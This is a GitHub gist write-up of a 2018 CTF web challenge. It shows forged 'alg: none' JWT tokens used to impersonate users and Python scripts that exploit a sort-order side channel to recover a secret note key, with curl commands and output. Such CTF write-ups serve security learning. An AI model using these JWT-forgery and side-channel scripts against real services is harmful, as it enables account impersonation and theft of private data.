Skip to content

Instantly share code, notes, and snippets.

@bayotop
Created June 20, 2018 20:01
Show Gist options
  • Save bayotop/37bd7605148df096332ed0451db91051 to your computer and use it in GitHub Desktop.
Save bayotop/37bd7605148df096332ed0451db91051 to your computer and use it in GitHub Desktop.
h1-702 CTF 2018 - Web 1

Description

Web challenge 1

The first challenge was available at http://159.203.178.9. The root page introduces a hidden service that allows to securely store notes. The goal is to find a flag hidden in one of these notes.

Finding the service

"Good luck, you might need it."

Feeling lucky, I started a custom reconnaissance script, which I'm using during regular bug hunting. At one stage the script looks for juicy files in the root of a given service. It leverages tomnomnom's meg and a custom wordlist of mine. Shortly, I was happy to see the following:

root@kali:~# ./recon.sh 159.203.178.9
[*] Do you wish to enumerate subdomains on 159.203.178.9? [Y/n] n
[*] Do you wish to check for common configuration files, dotfiles etc.? [Y/n] Y
[*] Running meg using lists/dotfiles on http://159.203.178.9...
out/index:20308:out/159.203.178.9/4fa49106b275b88f2dbc4e232c7fdf5d74c88755 http://159.203.178.9/README.html (200 OK)
[*] Do you wish to repeat for all subdomains? [Y/n] n
[*] That's it, bye!

The README.html (case-sensitive as I learned later, phew) documented a RPC service providing a way to securely store notes. It covered authentication, versioning, and some available endpoints. Reading through it, I was certain I had to do 2 things:

  1. Attack the authentication scheme -- JWT as bearer tokens -- to impersonate another user,
  2. and leverage a vulnerability within a different API version.

Attacking JWT

Json Web Tokens (JWT) are an open standard used to represent claims between two parties. These tokens are commonly used as bearer tokens in the Authorization: HTTP request header.

The example requests in the documentation used the following JWT token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak

Decoded from base64:

{"typ":"JWT","alg":"HS256"}.{"id":2}.<raw_signature>

This implies that the back-end service was supposed to verify the token's integrity via a HMAC-256 signature. However, the specification also defines "Unsecured JWTs":

An Unsecured JWT is a JWS using the "alg" Header Parameter value "none" and with the empty string for its JWS Signature value, as defined in the JWA specification [JWA]; it is an Unsecured JWS with the JWT Claims Set as its JWS Payload.

This has led to issues in the the past and therefore I decided to change the signing algorithm in the header to none. It worked:

root@kali:~# echo -n '{"typ":"JWT","alg":"none"}' | base64 | cut -d= -f1
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
root@kali:~# echo -n '{"id":2}' | base64 | cut -d= -f1
eyJpZCI6Mn0
root@kali:~# curl -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6Mn0." -H "Content-Type: application/json" -H "Accept: application/notes.api.v1+json" http://159.203.178.9/rpc.php?method=getNotesMetadata
{"count":0,"epochs":[]}

Another possibility would be to brute-force the secret used to sign the token. Fortunately, that wasn't necessary. Arbitrary tokens can be crafted and all users can be impersonated. I wrote a small script to iterate over ids in the JWT token and request available notes using the crafted tokens:

import base64
import requests

url = "http://159.203.178.9/rpc.php?method=getNotesMetadata"

# {"typ":"JWT","alg":"none"}
header = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0"
accept = "application/notes.api.v1+json"

if __name__ == "__main__":
    for x in range(0, 100):
	payload = base64.b64encode('{"id":%s}' % x)
        print(requests.get(url, headers={"Authorization":"%s.%s." % (header, payload), "Accept":accept}).content)
root@kali:~# python iter.py 
{"authorization":"is invalid"}
{"count":1,"epochs":["1528911533"]}
{"count":0,"epochs":[]}
{"authorization":"is invalid"}
...

I found exactly one note. It belonged to a user with id 1. This just had to be the flag. However, in order to request a note (getNote endpoint) a corresponding unique key was needed -- a 16 byte random string, by default. Only numbers and letters could form a valid unique key.

Side-channel attack in api.v2

"Each note is stored in a secure file that consists of a unique key, the note, and the epoch of when the note was created."
"At this time, only application/notes.api.v1+json is supported."

According to an HTML comment in the README.html page, a new API version (an educated guess confirmed it's application/notes.api.v2+json) introduced a new, optimized file format that sorted the notes based on their unique key. Fortunately, the getNotesMetadata endpoint returned a sorted epochs array. In combination with the ability to impersonate a user and create new notes with arbitrary unique keys (createNote endpoint), the epochs order leaked enough information to reconstruct the unique key of any secret note, as follows:

Note that by observing various responses I learned that the back-end system uses an ordinal approach to sort the unique keys (0 < 1 < ... 9 < A < B ... < Z < a < b ... < z).

Let's assume there is one note stored in the system with an unknown unique key and epoch 1. A request to the getNotesMetadata endpoint returns:

{"count":1,"epochs":["1"]}

After creating a second note with an unique key A000 and epoch 2 the response changes to:

{"count":2,"epochs":["2", "1"]}

After creating a third note with an unique key B000 and epoch 3 the response changes to:

{"count":3,"epochs":["2", "1", "3"]}

By observing these responses it's obvious that the first note's unknown unique key starts with A. A and B can be any subsequent characters in [0-9A-Za-z].

I created a python script to automate the whole process and to retrieve the unique key:

import json
import requests
import sys

url = "http://159.203.178.9/rpc.php?method=%s"
getMetadata = url % "getNotesMetadata"
getNote = url % "getNote&id=%s"
createNote = url % "createNote"
resetNotes = url % "resetNotes"

# {"typ":"JWT","alg":"none"}.{"id":1"}.
auth = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0."
accept = "application/notes.api.v2+json"
headers = {"Authorization": auth,"Accept": accept}

# The only (pre)existing note for user with ID 1
secretEpoch = "1528911533"

payload = [0] * 32
chars = ["0", "1", "2", "3", "4", "5", "6", "7" ,"8", "9", "A", "B", "C", "D", "E", "F", "G",
"H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s",
"t", "u", "v", "w", "x", "y", "z"]

if __name__ == "__main__":
    # Let's assume the secret is maximum 32 chars (recovering chars from left to right)
    for x in range(0, 32):
        requests.post(resetNotes, headers=headers).content
        counter = 0
        found = False
        while not found:
            id = "".join(str(x) for x in payload)
            print("Creating: %s" % id)
            requests.post(createNote, headers=headers, json={"id":id,"note":"Test Note"})
            response = requests.get(getMetadata, headers=headers).content
            parsed = json.loads(response)
            if (secretEpoch == parsed["epochs"][-1]):
                # Still preceding the secret note's unique key
                counter = counter + 1
                payload[x] = chars[counter]
            else:
                # Succeeded the secret note's unique key
                # Check if the current ID is the correct unique key
                if not("is not found" in requests.get(getNote % id.rstrip('0'), headers=headers).content):
                    print("Found the unique key: %s" % id.rstrip('0'))
                    sys.exit(0)
                print("Found character on position %s: %s" % (x + 1, chars[counter-1]))
                payload[x] = chars[counter-1]
                found = True
root@kali:~# python side-channel-web1.py
Creating: 00000000000000000000000000000000
Creating: 10000000000000000000000000000000
Creating: 20000000000000000000000000000000
Creating: 30000000000000000000000000000000
Creating: 40000000000000000000000000000000
Creating: 50000000000000000000000000000000
Creating: 60000000000000000000000000000000
Creating: 70000000000000000000000000000000
...
Creating: F0000000000000000000000000000000
Found character on position 1: E
Creating: E0000000000000000000000000000000
Creating: E1000000000000000000000000000000
Creating: E2000000000000000000000000000000
...
Creating: EelHIXsu200000000000000000000000
Creating: EelHIXsu300000000000000000000000
Creating: EelHIXsu400000000000000000000000
Creating: EelHIXsu500000000000000000000000
Creating: EelHIXsu600000000000000000000000
Creating: EelHIXsu700000000000000000000000
Creating: EelHIXsu800000000000000000000000
Creating: EelHIXsu900000000000000000000000
Creating: EelHIXsuA00000000000000000000000
Creating: EelHIXsuB00000000000000000000000
Found character on position 9: A
Creating: EelHIXsuA00000000000000000000000
Creating: EelHIXsuA10000000000000000000000
Creating: EelHIXsuA20000000000000000000000
...
Creating: EelHIXsuAw4FXCa9eped000000000000
Creating: EelHIXsuAw4FXCa9epee000000000000
Found the unique key: EelHIXsuAw4FXCa9epee

I know, I know. The above could be heavily optimized by using binary search instead of sequentially going through all possible characters. See below.

Using the retrieved unique key and a crafted token I could request the secret note and recover the flag:

root@kali:~# curl -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0." -H "Accept: application/notes.api.v1+json" -H "Content-Type: application/json" "http://159.203.178.9/rpc.php?method=getNote&id=EelHIXsuAw4FXCa9epee"
{"note":"NzAyLUNURi1GTEFHOiBOUDI2bkRPSTZINUFTZW1BT1c2Zw==","epoch":"1528911533"}

Decoding the note from base64 revealed the flag: 702-CTF-FLAG: NP26nDOI6H5ASemAOW6g

Optimizing the exploit

The above proof of concept is very ineffective as it goes sequentially through all possible characters. Worst-case scenario, this may result in n + 62*3*n requests, where n is the secret note's unique key length. In this particular case the key was found in 1372 requests (including requests to reset the notes and GET requests to verify the ordering and the key).

I created another version with the following optimizations:

  • using binary search to eliminate characters more effectively,
  • remembering the sought key's order within the epochs array (removing the need to call resetNotes repeatedly) and,
  • leveraging the createNote call to verify if the sought key was found.
import json
import requests
import sys

url = "http://159.203.178.9/rpc.php?method=%s"
getMetadata = url % "getNotesMetadata"
getNote = url % "getNote&id=%s"
createNote = url % "createNote"
resetNotes = url % "resetNotes"

# {"typ":"JWT","alg":"none"}.{"id":1"}.
auth = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0."
accept = "application/notes.api.v2+json"
headers = {"Authorization": auth,"Accept": accept}

# The only (pre)existing note for user with ID 1
secretEpoch = "1528911533"

payload = [0] * 32
chars = ["0", "1", "2", "3", "4", "5", "6", "7" ,"8", "9", "A", "B", "C", "D", "E", "F", "G",
"H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s",
"t", "u", "v", "w", "x", "y", "z"]

if __name__ == "__main__":
    requests.post(resetNotes, headers=headers).content
    succeededCount = 1
    # Let's assume the secret is 32 characters maximum (recovering the chars from left to right)
    for x in range(0, 32):   
        charset = chars
        checkedChars = set()
        while len(charset) > 1:
            # Prepare a unique key
            payload[x] = charset[int(len(charset)/2)]
            id = "".join(str(x) for x in payload).rstrip('0')

            # The ordering in v2 has a bug (?) and mixes up the ordering when
            # the payload is shorter then the unique key and consists of digits only
            id = id + "0"*32 if len(id) == 1 else id

            # Create a new note and if the key already exists, it has to be the one we seek
            print("Testing: %s" % id)
            checkedChars.add(payload[x])
            if ("already exists" in requests.post(createNote, headers=headers, json={"id":id,"note":"Test Note"}).content):
                print("Found the unique key: %s" % id)
                sys.exit(0)
    
            # Based on the ordering eliminate half of the remaining characters
            response = requests.get(getMetadata, headers=headers).content
            parsed = json.loads(response)
            if (secretEpoch == parsed["epochs"][-succeededCount]):
                # Preceded the secret note's unique key
                charset = charset[int(len(charset)/2):]
            else:
                # Succeeded the secret note's unique key
                charset = charset[:int(len(charset)/2)]
                succeededCount = succeededCount + 1                   
        print("Found character on position %s: %s" % (x + 1, charset[0]))
        # Don't miss the key in case the found character wasn't checked before
        if ((not charset[0] in checkedChars) and not ("is not found" in requests.get(getNote % id, headers=headers).content)):
            print("Found the unique key: %s" % id)
            sys.exit(0)
        # The last tested character might not be the correct one
        payload[x] = charset[0]

Worst-case scenario, this results in 1 + log2(62)*2*n + n requests, where n is the secret note's unique key length. In this particular case the key was found in 238 requests.

@Surfrdan
Copy link

Surfrdan commented Jul 1, 2018

Great writeup and PoC. I got as far as the sort endpoint but neglected to exploit it correctly to return the key.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment